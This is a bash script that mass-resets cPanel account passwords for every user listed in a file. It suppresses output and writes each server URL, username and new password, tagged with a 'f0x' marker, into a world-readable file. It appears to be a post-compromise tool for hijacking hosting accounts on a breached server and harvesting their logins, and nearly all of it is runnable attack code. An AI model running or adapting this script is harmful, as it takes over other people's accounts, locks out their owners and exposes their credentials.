#!/bin/bash

: > data/cPanels.txt
chmod 0666 data/cPanels.txt

SERVER_IP=$(hostname -I | awk '{print $1}')

export ALLOW_PASSWORD_CHANGE=1

change_pass() {
    local user="$1"
    local pass="$2"

    if [ -x /scripts/chpass ]; then
        /scripts/chpass "$user" "$pass" >/dev/null 2>&1
        return $?
    fi

    if command -v whmapi1 >/dev/null 2>&1; then
        whmapi1 passwd user="$user" password="$pass" >/dev/null 2>&1
        return $?
    fi

    if command -v uapi >/dev/null 2>&1; then
        uapi --user="$user" Passwd change_password oldpass='' newpass="$pass" >/dev/null 2>&1
        return $?
    fi

    return 1
}

while IFS= read -r myuser; do
    myuser="${myuser%$'\r'}"
    [ -z "$myuser" ] && continue

    newPassword="f0x@$(tr -dc 'A-Za-z0-9' </dev/urandom | head -c 16)#x"

    if change_pass "$myuser" "$newPassword"; then
        echo "https://$SERVER_IP:2083|$myuser|$newPassword" >> data/cPanels.txt
        echo "OK: $myuser"
    else
        echo "FAILED: $myuser"
    fi

done < data/users.txt

chmod 0666 data/cPanels.txt